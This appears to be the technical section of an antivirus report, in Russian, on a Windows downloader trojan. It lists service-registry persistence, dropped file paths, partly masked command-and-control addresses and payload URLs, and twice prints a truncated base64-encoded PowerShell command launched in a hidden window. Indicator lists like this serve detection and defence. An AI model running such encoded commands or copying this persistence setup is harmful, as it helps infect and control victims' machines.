Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\nlmsprep] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\nlmsprep] 'ImagePath' = '"%WINDIR%\SysWOW64\api-ms-win-core-io-l1-1-0\nlmsprep.exe"'
- 'nlmsprep' "%WINDIR%\SysWOW64\api-ms-win-core-io-l1-1-0\nlmsprep.exe"
- 'nlmsprep' %WINDIR%\SysWOW64\api-ms-win-core-io-l1-1-0\nlmsprep.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JAAzAEYAUAB0AD0AIAAgAFsAdABZAFAAZQBdACgAJwBzAHkAcwBUAGUAbQAnACsAJwAuAEkAJwArACcAbwAnACsAJwAuAGQASQBSAGUAJwArACcAQwB0AE8AJwArACcAcgB5ACcAKQAgACAAOwAgACQANgBnAGYAeABjAGwAIA...
- %HOMEPATH%\j7jh1v1\puie5vv\g6sikh0j.exe
- %WINDIR%\syswow64\api-ms-win-core-io-l1-1-0\nlmsprep.exe
- %HOMEPATH%\j7jh1v1\puie5vv\g6sikh0j.exe в %WINDIR%\syswow64\api-ms-win-core-io-l1-1-0\nlmsprep.exe
- '18#.#89.249.2':80
- http://vi###ohomem.com/wp-content/Eu/
- http://vi######event-service.com/assets/tW/
- http://18#.#89.249.2/U4WovVgL1a3CBekf/muo4a9CUSjw1twhOAW/hV40Gf9TMQDvaIvOqww/
- DNS ASK vi###ohomem.com
- DNS ASK vi######event-service.com
- '%HOMEPATH%\j7jh1v1\puie5vv\g6sikh0j.exe'
- '%WINDIR%\syswow64\api-ms-win-core-io-l1-1-0\nlmsprep.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JAAzAEYAUAB0AD0AIAAgAFsAdABZAFAAZQBdACgAJwBzAHkAcwBUAGUAbQAnACsAJwAuAEkAJwArACcAbwAnACsAJwAuAGQASQBSAGUAJwArACcAQwB0AE8AJwArACcAcgB5ACcAKQAgACAAOwAgACQANgBnAGYAeABjAGwAIA...' (со скрытым окном)